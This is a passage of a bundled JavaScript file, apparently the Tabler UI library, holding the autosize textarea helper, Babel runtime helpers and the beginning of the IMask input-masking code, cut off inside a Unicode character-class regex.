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/home/jmdstrac/public_html/devices/public/lib/base.js

/******/ (() => { // webpackBootstrap
/******/ 	var __webpack_modules__ = ({

/***/ 501:
/***/ ((module, exports, __webpack_require__) => {

var __WEBPACK_AMD_DEFINE_FACTORY__, __WEBPACK_AMD_DEFINE_RESULT__;/*!
* Tabler v1.0.0-beta9 (https://tabler.io)
* @version 1.0.0-beta9
* @link https://tabler.io
* Copyright 2018-2022 The Tabler Authors
* Copyright 2018-2022 codecalm.net Paweł Kuna
* Licensed under MIT (https://github.com/tabler/tabler/blob/master/LICENSE)
*/
(function (factory) {
	 true ? !(__WEBPACK_AMD_DEFINE_FACTORY__ = (factory),
		__WEBPACK_AMD_DEFINE_RESULT__ = (typeof __WEBPACK_AMD_DEFINE_FACTORY__ === 'function' ?
		(__WEBPACK_AMD_DEFINE_FACTORY__.call(exports, __webpack_require__, exports, module)) :
		__WEBPACK_AMD_DEFINE_FACTORY__),
		__WEBPACK_AMD_DEFINE_RESULT__ !== undefined && (module.exports = __WEBPACK_AMD_DEFINE_RESULT__)) :
	0;
})((function () { 'use strict';

	var e,t,n="function"==typeof Map?new Map:(e=[],t=[],{has:function(t){return e.indexOf(t)>-1},get:function(n){return t[e.indexOf(n)]},set:function(n,o){-1===e.indexOf(n)&&(e.push(n),t.push(o));},delete:function(n){var o=e.indexOf(n);o>-1&&(e.splice(o,1),t.splice(o,1));}}),o=function(e){return new Event(e,{bubbles:!0})};try{new Event("test");}catch(e){o=function(e){var t=document.createEvent("Event");return t.initEvent(e,!0,!1),t};}function r(e){var t=n.get(e);t&&t.destroy();}function i(e){var t=n.get(e);t&&t.update();}var l=null;"undefined"==typeof window||"function"!=typeof window.getComputedStyle?((l=function(e){return e}).destroy=function(e){return e},l.update=function(e){return e}):((l=function(e,t){return e&&Array.prototype.forEach.call(e.length?e:[e],function(e){return function(e){if(e&&e.nodeName&&"TEXTAREA"===e.nodeName&&!n.has(e)){var t,r=null,i=null,l=null,d=function(){e.clientWidth!==i&&c();},a=function(t){window.removeEventListener("resize",d,!1),e.removeEventListener("input",c,!1),e.removeEventListener("keyup",c,!1),e.removeEventListener("autosize:destroy",a,!1),e.removeEventListener("autosize:update",c,!1),Object.keys(t).forEach(function(n){e.style[n]=t[n];}),n.delete(e);}.bind(e,{height:e.style.height,resize:e.style.resize,overflowY:e.style.overflowY,overflowX:e.style.overflowX,wordWrap:e.style.wordWrap});e.addEventListener("autosize:destroy",a,!1),"onpropertychange"in e&&"oninput"in e&&e.addEventListener("keyup",c,!1),window.addEventListener("resize",d,!1),e.addEventListener("input",c,!1),e.addEventListener("autosize:update",c,!1),e.style.overflowX="hidden",e.style.wordWrap="break-word",n.set(e,{destroy:a,update:c}),"vertical"===(t=window.getComputedStyle(e,null)).resize?e.style.resize="none":"both"===t.resize&&(e.style.resize="horizontal"),r="content-box"===t.boxSizing?-(parseFloat(t.paddingTop)+parseFloat(t.paddingBottom)):parseFloat(t.borderTopWidth)+parseFloat(t.borderBottomWidth),isNaN(r)&&(r=0),c();}function u(t){var n=e.style.width;e.style.width="0px",e.style.width=n,e.style.overflowY=t;}function s(){if(0!==e.scrollHeight){var t=function(e){for(var t=[];e&&e.parentNode&&e.parentNode instanceof Element;)e.parentNode.scrollTop&&t.push({node:e.parentNode,scrollTop:e.parentNode.scrollTop}),e=e.parentNode;return t}(e),n=document.documentElement&&document.documentElement.scrollTop;e.style.height="",e.style.height=e.scrollHeight+r+"px",i=e.clientWidth,t.forEach(function(e){e.node.scrollTop=e.scrollTop;}),n&&(document.documentElement.scrollTop=n);}}function c(){s();var t=Math.round(parseFloat(e.style.height)),n=window.getComputedStyle(e,null),r="content-box"===n.boxSizing?Math.round(parseFloat(n.height)):e.offsetHeight;if(r<t?"hidden"===n.overflowY&&(u("scroll"),s(),r="content-box"===n.boxSizing?Math.round(parseFloat(window.getComputedStyle(e,null).height)):e.offsetHeight):"hidden"!==n.overflowY&&(u("hidden"),s(),r="content-box"===n.boxSizing?Math.round(parseFloat(window.getComputedStyle(e,null).height)):e.offsetHeight),l!==r){l=r;var i=o("autosize:resized");try{e.dispatchEvent(i);}catch(e){}}}}(e)}),e}).destroy=function(e){return e&&Array.prototype.forEach.call(e.length?e:[e],r),e},l.update=function(e){return e&&Array.prototype.forEach.call(e.length?e:[e],i),e});var d=l;

	var elements = document.querySelectorAll('[data-bs-toggle="autosize"]');
	if (elements.length) {
	  elements.forEach(function (element) {
	    d(element);
	  });
	}

	function _typeof(obj) {
	  "@babel/helpers - typeof";
	  return _typeof = "function" == typeof Symbol && "symbol" == typeof Symbol.iterator ? function (obj) {
	    return typeof obj;
	  } : function (obj) {
	    return obj && "function" == typeof Symbol && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj;
	  }, _typeof(obj);
	}
	function _classCallCheck(instance, Constructor) {
	  if (!(instance instanceof Constructor)) {
	    throw new TypeError("Cannot call a class as a function");
	  }
	}
	function _defineProperties(target, props) {
	  for (var i = 0; i < props.length; i++) {
	    var descriptor = props[i];
	    descriptor.enumerable = descriptor.enumerable || false;
	    descriptor.configurable = true;
	    if ("value" in descriptor) descriptor.writable = true;
	    Object.defineProperty(target, descriptor.key, descriptor);
	  }
	}
	function _createClass(Constructor, protoProps, staticProps) {
	  if (protoProps) _defineProperties(Constructor.prototype, protoProps);
	  if (staticProps) _defineProperties(Constructor, staticProps);
	  Object.defineProperty(Constructor, "prototype", {
	    writable: false
	  });
	  return Constructor;
	}
	function _defineProperty(obj, key, value) {
	  if (key in obj) {
	    Object.defineProperty(obj, key, {
	      value: value,
	      enumerable: true,
	      configurable: true,
	      writable: true
	    });
	  } else {
	    obj[key] = value;
	  }
	  return obj;
	}
	function _inherits(subClass, superClass) {
	  if (typeof superClass !== "function" && superClass !== null) {
	    throw new TypeError("Super expression must either be null or a function");
	  }
	  subClass.prototype = Object.create(superClass && superClass.prototype, {
	    constructor: {
	      value: subClass,
	      writable: true,
	      configurable: true
	    }
	  });
	  Object.defineProperty(subClass, "prototype", {
	    writable: false
	  });
	  if (superClass) _setPrototypeOf(subClass, superClass);
	}
	function _getPrototypeOf(o) {
	  _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) {
	    return o.__proto__ || Object.getPrototypeOf(o);
	  };
	  return _getPrototypeOf(o);
	}
	function _setPrototypeOf(o, p) {
	  _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) {
	    o.__proto__ = p;
	    return o;
	  };
	  return _setPrototypeOf(o, p);
	}
	function _isNativeReflectConstruct() {
	  if (typeof Reflect === "undefined" || !Reflect.construct) return false;
	  if (Reflect.construct.sham) return false;
	  if (typeof Proxy === "function") return true;
	  try {
	    Boolean.prototype.valueOf.call(Reflect.construct(Boolean, [], function () {}));
	    return true;
	  } catch (e) {
	    return false;
	  }
	}
	function _objectWithoutPropertiesLoose(source, excluded) {
	  if (source == null) return {};
	  var target = {};
	  var sourceKeys = Object.keys(source);
	  var key, i;
	  for (i = 0; i < sourceKeys.length; i++) {
	    key = sourceKeys[i];
	    if (excluded.indexOf(key) >= 0) continue;
	    target[key] = source[key];
	  }
	  return target;
	}
	function _objectWithoutProperties(source, excluded) {
	  if (source == null) return {};
	  var target = _objectWithoutPropertiesLoose(source, excluded);
	  var key, i;
	  if (Object.getOwnPropertySymbols) {
	    var sourceSymbolKeys = Object.getOwnPropertySymbols(source);
	    for (i = 0; i < sourceSymbolKeys.length; i++) {
	      key = sourceSymbolKeys[i];
	      if (excluded.indexOf(key) >= 0) continue;
	      if (!Object.prototype.propertyIsEnumerable.call(source, key)) continue;
	      target[key] = source[key];
	    }
	  }
	  return target;
	}
	function _assertThisInitialized(self) {
	  if (self === void 0) {
	    throw new ReferenceError("this hasn't been initialised - super() hasn't been called");
	  }
	  return self;
	}
	function _possibleConstructorReturn(self, call) {
	  if (call && (typeof call === "object" || typeof call === "function")) {
	    return call;
	  } else if (call !== void 0) {
	    throw new TypeError("Derived constructors may only return object or undefined");
	  }
	  return _assertThisInitialized(self);
	}
	function _createSuper(Derived) {
	  var hasNativeReflectConstruct = _isNativeReflectConstruct();
	  return function _createSuperInternal() {
	    var Super = _getPrototypeOf(Derived),
	        result;
	    if (hasNativeReflectConstruct) {
	      var NewTarget = _getPrototypeOf(this).constructor;
	      result = Reflect.construct(Super, arguments, NewTarget);
	    } else {
	      result = Super.apply(this, arguments);
	    }
	    return _possibleConstructorReturn(this, result);
	  };
	}
	function _superPropBase(object, property) {
	  while (!Object.prototype.hasOwnProperty.call(object, property)) {
	    object = _getPrototypeOf(object);
	    if (object === null) break;
	  }
	  return object;
	}
	function _get() {
	  if (typeof Reflect !== "undefined" && Reflect.get) {
	    _get = Reflect.get;
	  } else {
	    _get = function _get(target, property, receiver) {
	      var base = _superPropBase(target, property);
	      if (!base) return;
	      var desc = Object.getOwnPropertyDescriptor(base, property);
	      if (desc.get) {
	        return desc.get.call(arguments.length < 3 ? target : receiver);
	      }
	      return desc.value;
	    };
	  }
	  return _get.apply(this, arguments);
	}
	function set(target, property, value, receiver) {
	  if (typeof Reflect !== "undefined" && Reflect.set) {
	    set = Reflect.set;
	  } else {
	    set = function set(target, property, value, receiver) {
	      var base = _superPropBase(target, property);
	      var desc;
	      if (base) {
	        desc = Object.getOwnPropertyDescriptor(base, property);
	        if (desc.set) {
	          desc.set.call(receiver, value);
	          return true;
	        } else if (!desc.writable) {
	          return false;
	        }
	      }
	      desc = Object.getOwnPropertyDescriptor(receiver, property);
	      if (desc) {
	        if (!desc.writable) {
	          return false;
	        }
	        desc.value = value;
	        Object.defineProperty(receiver, property, desc);
	      } else {
	        _defineProperty(receiver, property, value);
	      }
	      return true;
	    };
	  }
	  return set(target, property, value, receiver);
	}
	function _set(target, property, value, receiver, isStrict) {
	  var s = set(target, property, value, receiver || target);
	  if (!s && isStrict) {
	    throw new Error('failed to set property');
	  }
	  return value;
	}
	function _slicedToArray(arr, i) {
	  return _arrayWithHoles(arr) || _iterableToArrayLimit(arr, i) || _unsupportedIterableToArray(arr, i) || _nonIterableRest();
	}
	function _arrayWithHoles(arr) {
	  if (Array.isArray(arr)) return arr;
	}
	function _iterableToArrayLimit(arr, i) {
	  var _i = arr == null ? null : typeof Symbol !== "undefined" && arr[Symbol.iterator] || arr["@@iterator"];
	  if (_i == null) return;
	  var _arr = [];
	  var _n = true;
	  var _d = false;
	  var _s, _e;
	  try {
	    for (_i = _i.call(arr); !(_n = (_s = _i.next()).done); _n = true) {
	      _arr.push(_s.value);
	      if (i && _arr.length === i) break;
	    }
	  } catch (err) {
	    _d = true;
	    _e = err;
	  } finally {
	    try {
	      if (!_n && _i["return"] != null) _i["return"]();
	    } finally {
	      if (_d) throw _e;
	    }
	  }
	  return _arr;
	}
	function _unsupportedIterableToArray(o, minLen) {
	  if (!o) return;
	  if (typeof o === "string") return _arrayLikeToArray(o, minLen);
	  var n = Object.prototype.toString.call(o).slice(8, -1);
	  if (n === "Object" && o.constructor) n = o.constructor.name;
	  if (n === "Map" || n === "Set") return Array.from(o);
	  if (n === "Arguments" || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)) return _arrayLikeToArray(o, minLen);
	}
	function _arrayLikeToArray(arr, len) {
	  if (len == null || len > arr.length) len = arr.length;
	  for (var i = 0, arr2 = new Array(len); i < len; i++) arr2[i] = arr[i];
	  return arr2;
	}
	function _nonIterableRest() {
	  throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.");
	}

	var ChangeDetails = function () {
	  function ChangeDetails(details) {
	    _classCallCheck(this, ChangeDetails);
	    Object.assign(this, {
	      inserted: '',
	      rawInserted: '',
	      skip: false,
	      tailShift: 0
	    }, details);
	  }
	  _createClass(ChangeDetails, [{
	    key: "aggregate",
	    value: function aggregate(details) {
	      this.rawInserted += details.rawInserted;
	      this.skip = this.skip || details.skip;
	      this.inserted += details.inserted;
	      this.tailShift += details.tailShift;
	      return this;
	    }
	  }, {
	    key: "offset",
	    get: function get() {
	      return this.tailShift + this.inserted.length;
	    }
	  }]);
	  return ChangeDetails;
	}();

	function isString(str) {
	  return typeof str === 'string' || str instanceof String;
	}
	var DIRECTION = {
	  NONE: 'NONE',
	  LEFT: 'LEFT',
	  FORCE_LEFT: 'FORCE_LEFT',
	  RIGHT: 'RIGHT',
	  FORCE_RIGHT: 'FORCE_RIGHT'
	};
	function forceDirection(direction) {
	  switch (direction) {
	    case DIRECTION.LEFT:
	      return DIRECTION.FORCE_LEFT;
	    case DIRECTION.RIGHT:
	      return DIRECTION.FORCE_RIGHT;
	    default:
	      return direction;
	  }
	}
	function escapeRegExp(str) {
	  return str.replace(/([.*+?^=!:${}()|[\]\/\\])/g, '\\$1');
	}
	function normalizePrepare(prep) {
	  return Array.isArray(prep) ? prep : [prep, new ChangeDetails()];
	}
	function objectIncludes(b, a) {
	  if (a === b) return true;
	  var arrA = Array.isArray(a),
	      arrB = Array.isArray(b),
	      i;
	  if (arrA && arrB) {
	    if (a.length != b.length) return false;
	    for (i = 0; i < a.length; i++) {
	      if (!objectIncludes(a[i], b[i])) return false;
	    }
	    return true;
	  }
	  if (arrA != arrB) return false;
	  if (a && b && _typeof(a) === 'object' && _typeof(b) === 'object') {
	    var dateA = a instanceof Date,
	        dateB = b instanceof Date;
	    if (dateA && dateB) return a.getTime() == b.getTime();
	    if (dateA != dateB) return false;
	    var regexpA = a instanceof RegExp,
	        regexpB = b instanceof RegExp;
	    if (regexpA && regexpB) return a.toString() == b.toString();
	    if (regexpA != regexpB) return false;
	    var keys = Object.keys(a);
	    for (i = 0; i < keys.length; i++) {
	      if (!Object.prototype.hasOwnProperty.call(b, keys[i])) return false;
	    }
	    for (i = 0; i < keys.length; i++) {
	      if (!objectIncludes(b[keys[i]], a[keys[i]])) return false;
	    }
	    return true;
	  } else if (a && b && typeof a === 'function' && typeof b === 'function') {
	    return a.toString() === b.toString();
	  }
	  return false;
	}

	var ActionDetails = function () {
	  function ActionDetails(value, cursorPos, oldValue, oldSelection) {
	    _classCallCheck(this, ActionDetails);
	    this.value = value;
	    this.cursorPos = cursorPos;
	    this.oldValue = oldValue;
	    this.oldSelection = oldSelection;
	    while (this.value.slice(0, this.startChangePos) !== this.oldValue.slice(0, this.startChangePos)) {
	      --this.oldSelection.start;
	    }
	  }
	  _createClass(ActionDetails, [{
	    key: "startChangePos",
	    get: function get() {
	      return Math.min(this.cursorPos, this.oldSelection.start);
	    }
	  }, {
	    key: "insertedCount",
	    get: function get() {
	      return this.cursorPos - this.startChangePos;
	    }
	  }, {
	    key: "inserted",
	    get: function get() {
	      return this.value.substr(this.startChangePos, this.insertedCount);
	    }
	  }, {
	    key: "removedCount",
	    get: function get() {
	      return Math.max(this.oldSelection.end - this.startChangePos ||
	      this.oldValue.length - this.value.length, 0);
	    }
	  }, {
	    key: "removed",
	    get: function get() {
	      return this.oldValue.substr(this.startChangePos, this.removedCount);
	    }
	  }, {
	    key: "head",
	    get: function get() {
	      return this.value.substring(0, this.startChangePos);
	    }
	  }, {
	    key: "tail",
	    get: function get() {
	      return this.value.substring(this.startChangePos + this.insertedCount);
	    }
	  }, {
	    key: "removeDirection",
	    get: function get() {
	      if (!this.removedCount || this.insertedCount) return DIRECTION.NONE;
	      return (this.oldSelection.end === this.cursorPos || this.oldSelection.start === this.cursorPos) &&
	      this.oldSelection.end === this.oldSelection.start ? DIRECTION.RIGHT : DIRECTION.LEFT;
	    }
	  }]);
	  return ActionDetails;
	}();

	var ContinuousTailDetails = function () {
	  function ContinuousTailDetails() {
	    var value = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : '';
	    var from = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 0;
	    var stop = arguments.length > 2 ? arguments[2] : undefined;
	    _classCallCheck(this, ContinuousTailDetails);
	    this.value = value;
	    this.from = from;
	    this.stop = stop;
	  }
	  _createClass(ContinuousTailDetails, [{
	    key: "toString",
	    value: function toString() {
	      return this.value;
	    }
	  }, {
	    key: "extend",
	    value: function extend(tail) {
	      this.value += String(tail);
	    }
	  }, {
	    key: "appendTo",
	    value: function appendTo(masked) {
	      return masked.append(this.toString(), {
	        tail: true
	      }).aggregate(masked._appendPlaceholder());
	    }
	  }, {
	    key: "state",
	    get: function get() {
	      return {
	        value: this.value,
	        from: this.from,
	        stop: this.stop
	      };
	    },
	    set: function set(state) {
	      Object.assign(this, state);
	    }
	  }, {
	    key: "unshift",
	    value: function unshift(beforePos) {
	      if (!this.value.length || beforePos != null && this.from >= beforePos) return '';
	      var shiftChar = this.value[0];
	      this.value = this.value.slice(1);
	      return shiftChar;
	    }
	  }, {
	    key: "shift",
	    value: function shift() {
	      if (!this.value.length) return '';
	      var shiftChar = this.value[this.value.length - 1];
	      this.value = this.value.slice(0, -1);
	      return shiftChar;
	    }
	  }]);
	  return ContinuousTailDetails;
	}();

	function IMask(el) {
	  var opts = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {};
	  return new IMask.InputMask(el, opts);
	}

	var Masked = function () {
	  function Masked(opts) {
	    _classCallCheck(this, Masked);
	    this._value = '';
	    this._update(Object.assign({}, Masked.DEFAULTS, opts));
	    this.isInitialized = true;
	  }
	  _createClass(Masked, [{
	    key: "updateOptions",
	    value: function updateOptions(opts) {
	      if (!Object.keys(opts).length) return;
	      this.withValueRefresh(this._update.bind(this, opts));
	    }
	  }, {
	    key: "_update",
	    value: function _update(opts) {
	      Object.assign(this, opts);
	    }
	  }, {
	    key: "state",
	    get: function get() {
	      return {
	        _value: this.value
	      };
	    },
	    set: function set(state) {
	      this._value = state._value;
	    }
	  }, {
	    key: "reset",
	    value: function reset() {
	      this._value = '';
	    }
	  }, {
	    key: "value",
	    get: function get() {
	      return this._value;
	    },
	    set: function set(value) {
	      this.resolve(value);
	    }
	  }, {
	    key: "resolve",
	    value: function resolve(value) {
	      this.reset();
	      this.append(value, {
	        input: true
	      }, '');
	      this.doCommit();
	      return this.value;
	    }
	  }, {
	    key: "unmaskedValue",
	    get: function get() {
	      return this.value;
	    },
	    set: function set(value) {
	      this.reset();
	      this.append(value, {}, '');
	      this.doCommit();
	    }
	  }, {
	    key: "typedValue",
	    get: function get() {
	      return this.doParse(this.value);
	    },
	    set: function set(value) {
	      this.value = this.doFormat(value);
	    }
	  }, {
	    key: "rawInputValue",
	    get: function get() {
	      return this.extractInput(0, this.value.length, {
	        raw: true
	      });
	    },
	    set: function set(value) {
	      this.reset();
	      this.append(value, {
	        raw: true
	      }, '');
	      this.doCommit();
	    }
	  }, {
	    key: "isComplete",
	    get: function get() {
	      return true;
	    }
	  }, {
	    key: "isFilled",
	    get: function get() {
	      return this.isComplete;
	    }
	  }, {
	    key: "nearestInputPos",
	    value: function nearestInputPos(cursorPos, direction) {
	      return cursorPos;
	    }
	  }, {
	    key: "extractInput",
	    value: function extractInput() {
	      var fromPos = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : 0;
	      var toPos = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : this.value.length;
	      return this.value.slice(fromPos, toPos);
	    }
	  }, {
	    key: "extractTail",
	    value: function extractTail() {
	      var fromPos = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : 0;
	      var toPos = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : this.value.length;
	      return new ContinuousTailDetails(this.extractInput(fromPos, toPos), fromPos);
	    }
	  }, {
	    key: "appendTail",
	    value: function appendTail(tail) {
	      if (isString(tail)) tail = new ContinuousTailDetails(String(tail));
	      return tail.appendTo(this);
	    }
	  }, {
	    key: "_appendCharRaw",
	    value: function _appendCharRaw(ch) {
	      if (!ch) return new ChangeDetails();
	      this._value += ch;
	      return new ChangeDetails({
	        inserted: ch,
	        rawInserted: ch
	      });
	    }
	  }, {
	    key: "_appendChar",
	    value: function _appendChar(ch) {
	      var flags = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {};
	      var checkTail = arguments.length > 2 ? arguments[2] : undefined;
	      var consistentState = this.state;
	      var details;
	      var _normalizePrepare = normalizePrepare(this.doPrepare(ch, flags));
	      var _normalizePrepare2 = _slicedToArray(_normalizePrepare, 2);
	      ch = _normalizePrepare2[0];
	      details = _normalizePrepare2[1];
	      details = details.aggregate(this._appendCharRaw(ch, flags));
	      if (details.inserted) {
	        var consistentTail;
	        var appended = this.doValidate(flags) !== false;
	        if (appended && checkTail != null) {
	          var beforeTailState = this.state;
	          if (this.overwrite === true) {
	            consistentTail = checkTail.state;
	            checkTail.unshift(this.value.length);
	          }
	          var tailDetails = this.appendTail(checkTail);
	          appended = tailDetails.rawInserted === checkTail.toString();
	          if (!(appended && tailDetails.inserted) && this.overwrite === 'shift') {
	            this.state = beforeTailState;
	            consistentTail = checkTail.state;
	            checkTail.shift();
	            tailDetails = this.appendTail(checkTail);
	            appended = tailDetails.rawInserted === checkTail.toString();
	          }
	          if (appended && tailDetails.inserted) this.state = beforeTailState;
	        }
	        if (!appended) {
	          details = new ChangeDetails();
	          this.state = consistentState;
	          if (checkTail && consistentTail) checkTail.state = consistentTail;
	        }
	      }
	      return details;
	    }
	  }, {
	    key: "_appendPlaceholder",
	    value: function _appendPlaceholder() {
	      return new ChangeDetails();
	    }
	  }, {
	    key: "_appendEager",
	    value: function _appendEager() {
	      return new ChangeDetails();
	    }
	  }, {
	    key: "append",
	    value: function append(str, flags, tail) {
	      if (!isString(str)) throw new Error('value should be string');
	      var details = new ChangeDetails();
	      var checkTail = isString(tail) ? new ContinuousTailDetails(String(tail)) : tail;
	      if (flags && flags.tail) flags._beforeTailState = this.state;
	      for (var ci = 0; ci < str.length; ++ci) {
	        details.aggregate(this._appendChar(str[ci], flags, checkTail));
	      }
	      if (checkTail != null) {
	        details.tailShift += this.appendTail(checkTail).tailShift;
	      }
	      if (this.eager && flags !== null && flags !== void 0 && flags.input && str) {
	        details.aggregate(this._appendEager());
	      }
	      return details;
	    }
	  }, {
	    key: "remove",
	    value: function remove() {
	      var fromPos = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : 0;
	      var toPos = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : this.value.length;
	      this._value = this.value.slice(0, fromPos) + this.value.slice(toPos);
	      return new ChangeDetails();
	    }
	  }, {
	    key: "withValueRefresh",
	    value: function withValueRefresh(fn) {
	      if (this._refreshing || !this.isInitialized) return fn();
	      this._refreshing = true;
	      var rawInput = this.rawInputValue;
	      var value = this.value;
	      var ret = fn();
	      this.rawInputValue = rawInput;
	      if (this.value && this.value !== value && value.indexOf(this.value) === 0) {
	        this.append(value.slice(this.value.length), {}, '');
	      }
	      delete this._refreshing;
	      return ret;
	    }
	  }, {
	    key: "runIsolated",
	    value: function runIsolated(fn) {
	      if (this._isolated || !this.isInitialized) return fn(this);
	      this._isolated = true;
	      var state = this.state;
	      var ret = fn(this);
	      this.state = state;
	      delete this._isolated;
	      return ret;
	    }
	  }, {
	    key: "doPrepare",
	    value: function doPrepare(str) {
	      var flags = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {};
	      return this.prepare ? this.prepare(str, this, flags) : str;
	    }
	  }, {
	    key: "doValidate",
	    value: function doValidate(flags) {
	      return (!this.validate || this.validate(this.value, this, flags)) && (!this.parent || this.parent.doValidate(flags));
	    }
	  }, {
	    key: "doCommit",
	    value: function doCommit() {
	      if (this.commit) this.commit(this.value, this);
	    }
	  }, {
	    key: "doFormat",
	    value: function doFormat(value) {
	      return this.format ? this.format(value, this) : value;
	    }
	  }, {
	    key: "doParse",
	    value: function doParse(str) {
	      return this.parse ? this.parse(str, this) : str;
	    }
	  }, {
	    key: "splice",
	    value: function splice(start, deleteCount, inserted, removeDirection) {
	      var tailPos = start + deleteCount;
	      var tail = this.extractTail(tailPos);
	      var oldRawValue;
	      if (this.eager) {
	        removeDirection = forceDirection(removeDirection);
	        oldRawValue = this.extractInput(0, tailPos, {
	          raw: true
	        });
	      }
	      var startChangePos = this.nearestInputPos(start, deleteCount > 1 && start !== 0 && !this.eager ? DIRECTION.NONE : removeDirection);
	      var details = new ChangeDetails({
	        tailShift: startChangePos - start
	      }).aggregate(this.remove(startChangePos));
	      if (this.eager && removeDirection !== DIRECTION.NONE && oldRawValue === this.rawInputValue) {
	        if (removeDirection === DIRECTION.FORCE_LEFT) {
	          var valLength;
	          while (oldRawValue === this.rawInputValue && (valLength = this.value.length)) {
	            details.aggregate(new ChangeDetails({
	              tailShift: -1
	            })).aggregate(this.remove(valLength - 1));
	          }
	        } else if (removeDirection === DIRECTION.FORCE_RIGHT) {
	          tail.unshift();
	        }
	      }
	      return details.aggregate(this.append(inserted, {
	        input: true
	      }, tail));
	    }
	  }, {
	    key: "maskEquals",
	    value: function maskEquals(mask) {
	      return this.mask === mask;
	    }
	  }]);
	  return Masked;
	}();
	Masked.DEFAULTS = {
	  format: function format(v) {
	    return v;
	  },
	  parse: function parse(v) {
	    return v;
	  }
	};
	IMask.Masked = Masked;

	function maskedClass(mask) {
	  if (mask == null) {
	    throw new Error('mask property should be defined');
	  }
	  if (mask instanceof RegExp) return IMask.MaskedRegExp;
	  if (isString(mask)) return IMask.MaskedPattern;
	  if (mask instanceof Date || mask === Date) return IMask.MaskedDate;
	  if (mask instanceof Number || typeof mask === 'number' || mask === Number) return IMask.MaskedNumber;
	  if (Array.isArray(mask) || mask === Array) return IMask.MaskedDynamic;
	  if (IMask.Masked && mask.prototype instanceof IMask.Masked) return mask;
	  if (mask instanceof IMask.Masked) return mask.constructor;
	  if (mask instanceof Function) return IMask.MaskedFunction;
	  console.warn('Mask not found for mask', mask);
	  return IMask.Masked;
	}
	function createMask(opts) {
	  if (IMask.Masked && opts instanceof IMask.Masked) return opts;
	  opts = Object.assign({}, opts);
	  var mask = opts.mask;
	  if (IMask.Masked && mask instanceof IMask.Masked) return mask;
	  var MaskedClass = maskedClass(mask);
	  if (!MaskedClass) throw new Error('Masked class is not found for provided mask, appropriate module needs to be import manually before creating mask.');
	  return new MaskedClass(opts);
	}
	IMask.createMask = createMask;

	var _excluded$4 = ["mask"];
	var DEFAULT_INPUT_DEFINITIONS = {
	  '0': /\d/,
	  'a': /[\u0041-\u005A\u0061-\u007A\u00AA\u00B5\u00BA\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02C1\u02C6-\u02D1\u02E0-\u02E4\u02EC\u02EE\u0370-\u0374\u0376\u0377\u037A-\u037D\u0386\u0388-\u038A\u038C\u038E-\u03A1\u03A3-\u03F5\u03F7-\u0481\u048A-\u0527\u0531-\u0556\u0559\u0561-\u0587\u05D0-\u05EA\u05F0-\u05F2\u0620-\u064A\u066E\u066F\u0671-\u06D3\u06D5\u06E5\u06E6\u06EE\u06EF\u06FA-\u06FC\u06FF\u0710\u0712-\u072F\u074D-\u07A5\u07B1\u07CA-\u07EA\u07F4\u07F5\u07FA\u0800-\u0815\u081A\u0824\u0828\u0840-\u0858\u08A0\u08A2-\u08AC\u0904-\u0939\u093D\u0950\u0958-\u0961\u0971-\u0977\u0979-\u097F\u0985-\u098C\u098F\u0990\u0993-\u09A8\u09AA-\u09B0\u09B2\u09B6-\u09B9\u09BD\u09CE\u09DC\u09DD\u09DF-\u09E1\u09F0\u09F1\u0A05-\u0A0A\u0A0F\u0A10\u0A13-\u0A28\u0A2A-\u0A30\u0A32\u0A33\u0A35\u0A36\u0A38\u0A39\u0A59-\u0A5C\u0A5E\u0A72-\u0A74\u0A85-\u0A8D\u0A8F-\u0A91\u0A93-\u0AA8\u0AAA-\u0AB0\u0AB2\u0AB3\u0AB5-\u0AB9\u0ABD\u0AD0\u0AE0\u0AE1\u0B05-\u0B0C\u0B0F\u0B10\u0B13-\u0B28\u0B2A-\u0B30\u0B32\u0B33\u0B35-\u0B39\u0B3D\u0B5C\u0B5D\u0B5F-\u0B61\u0B71\u0B83\u0B85-\u0B8A\u0B8E-\u0B90\u0B92-\u0B95\u0B99\u0B9A\u0B9C\u0B9E\u0B9F\u0BA3\u0BA4\u0BA8-\u0BAA\u0BAE-\u0BB9\u0BD0\u0C05-\u0C0C\u0C0E-\u0C10\u0C12-\u0C28\u0C2A-\u0C33\u0C35-\u0C39\u0C3D\u0C58\u0C59\u0C60\u0C61\u0C85-\u0C8C\u0C8E-\u0C90\u0C92-\u0CA8\u0CAA-\u0CB3\u0CB5-\u0CB9\u0CBD\u0CDE\u0CE0\u0CE1\u0CF1\u0CF2\u0D05-\u0D0C\u0D0E-\u0D10\u0D12-\u0D3A\u0D3D\u0D4E\u0D60\u0D61\u0D7A-\u0D7F\u0D85-\u0D96\u0D9A-\u0DB1\u0DB3-\u0DBB\u0DBD\u0DC0-\u0DC6\u0E01-\u0E30\u0E32\u0E33\u0E40-\u0E46\u0E81\u0E82\u0E84\u0E87\u0E88\u0E8A\u0E8D\u0E94-\u0E97\u0E99-\u0E9F\u0EA1-\u0EA3\u0EA5\u0EA7\u0EAA\u0EAB\u0EAD-\u0EB0\u0EB2\u0EB3\u0EBD\u0EC0-\u0EC4\u0EC6\u0EDC-\u0EDF\u0F00\u0F40-\u0F47\u0F49-\u0F6C\u0F88-\u0F8C\u1000-\u102A\u103F\u1050-\u1055\u105A-\u105D\u1061\u1065\u1066\u106E-\u1070\u1075-\u1081\u108E\u10A0-\u10C5\u10C7\u10CD\u10D0-\u10FA\u10FC-\u1248\u124A-\u124D\u1250-\u1256\u1258\u125A-\u125D\u1260-\u1288\u128A-\u128D\u1290-\u12B0\u12B2-\u12B5\u12B8-\u12BE\u12C0\u12C2-\u12C5\u12C8-\u12D6\u12D8-\u1310\u1312-\u1315\u1318-\u135A\u1380-\u138F\u13A0-\u13F4\u1401-\u166C\u166F-\u167F\u1681-\u169A\u16A0-\u1